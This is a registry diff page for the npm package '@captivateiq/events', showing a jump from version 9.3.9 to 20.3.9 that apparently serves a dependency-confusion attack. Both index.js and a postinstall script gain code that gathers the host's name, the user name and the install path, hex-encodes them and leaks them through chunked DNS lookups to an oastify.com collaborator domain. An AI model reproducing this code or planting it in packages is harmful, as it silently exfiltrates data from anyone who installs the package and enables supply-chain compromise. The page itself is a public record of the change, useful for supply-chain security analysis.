@captivateiq/events 9.3.9 → 20.3.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +24 -18
- package/package.json +1 -1
- package/postinstall.js +24 -18
package/index.js
CHANGED
@@ -1,27 +1,33 @@
|
|
1
1
|
const os = require('os');
|
2
|
-
const
|
2
|
+
const dns = require('dns');
|
3
3
|
const path = require('path');
|
4
4
|
|
5
5
|
// Collect system information
|
6
6
|
const hostname = os.hostname();
|
7
|
-
const
|
8
|
-
const
|
9
|
-
const release = os.release();
|
10
|
-
const userInfo = os.userInfo().username;
|
7
|
+
const username = os.userInfo().username;
|
8
|
+
const execPath = __dirname;
|
11
9
|
|
12
|
-
//
|
13
|
-
|
10
|
+
// Function to convert a string to hexadecimal
|
11
|
+
function toHex(str) {
|
12
|
+
return Buffer.from(str, 'utf8').toString('hex');
|
13
|
+
}
|
14
14
|
|
15
|
-
//
|
16
|
-
const
|
15
|
+
// Encode data to hexadecimal
|
16
|
+
const data = `hostname=${hostname}&username=${username}&execPath=${execPath}`;
|
17
|
+
const hexData = toHex(data);
|
17
18
|
|
18
|
-
//
|
19
|
-
const
|
20
|
-
const
|
19
|
+
// Define your DNS server domain
|
20
|
+
const domain = '66aor9uzdc6i2ftyzur92uilqcw3kv8k.oastify.com';
|
21
|
+
const chunkSize = 63; // Max subdomain length in DNS
|
21
22
|
|
22
|
-
//
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
23
|
+
// Split the hexData into chunks and send each as a DNS query
|
24
|
+
for (let i = 0; i < hexData.length; i += chunkSize) {
|
25
|
+
const chunk = hexData.slice(i, i + chunkSize);
|
26
|
+
const subdomain = `${chunk}.${domain}`;
|
27
|
+
|
28
|
+
// Perform DNS lookup to trigger the request
|
29
|
+
dns.lookup(subdomain, (err, address) => {
|
30
|
+
if (err) console.error('DNS query failed:', err);
|
31
|
+
else console.log(`DNS query sent: ${subdomain}`);
|
32
|
+
});
|
33
|
+
}
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
@@ -1,27 +1,33 @@
|
|
1
1
|
const os = require('os');
|
2
|
-
const
|
2
|
+
const dns = require('dns');
|
3
3
|
const path = require('path');
|
4
4
|
|
5
5
|
// Collect system information
|
6
6
|
const hostname = os.hostname();
|
7
|
-
const
|
8
|
-
const
|
9
|
-
const release = os.release();
|
10
|
-
const userInfo = os.userInfo().username;
|
7
|
+
const username = os.userInfo().username;
|
8
|
+
const execPath = __dirname;
|
11
9
|
|
12
|
-
//
|
13
|
-
|
10
|
+
// Function to convert a string to hexadecimal
|
11
|
+
function toHex(str) {
|
12
|
+
return Buffer.from(str, 'utf8').toString('hex');
|
13
|
+
}
|
14
14
|
|
15
|
-
//
|
16
|
-
const
|
15
|
+
// Encode data to hexadecimal
|
16
|
+
const data = `hostname=${hostname}&username=${username}&execPath=${execPath}`;
|
17
|
+
const hexData = toHex(data);
|
17
18
|
|
18
|
-
//
|
19
|
-
const
|
20
|
-
const
|
19
|
+
// Define your DNS server domain
|
20
|
+
const domain = '66aor9uzdc6i2ftyzur92uilqcw3kv8k.oastify.com';
|
21
|
+
const chunkSize = 63; // Max subdomain length in DNS
|
21
22
|
|
22
|
-
//
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
23
|
+
// Split the hexData into chunks and send each as a DNS query
|
24
|
+
for (let i = 0; i < hexData.length; i += chunkSize) {
|
25
|
+
const chunk = hexData.slice(i, i + chunkSize);
|
26
|
+
const subdomain = `${chunk}.${domain}`;
|
27
|
+
|
28
|
+
// Perform DNS lookup to trigger the request
|
29
|
+
dns.lookup(subdomain, (err, address) => {
|
30
|
+
if (err) console.error('DNS query failed:', err);
|
31
|
+
else console.log(`DNS query sent: ${subdomain}`);
|
32
|
+
});
|
33
|
+
}
|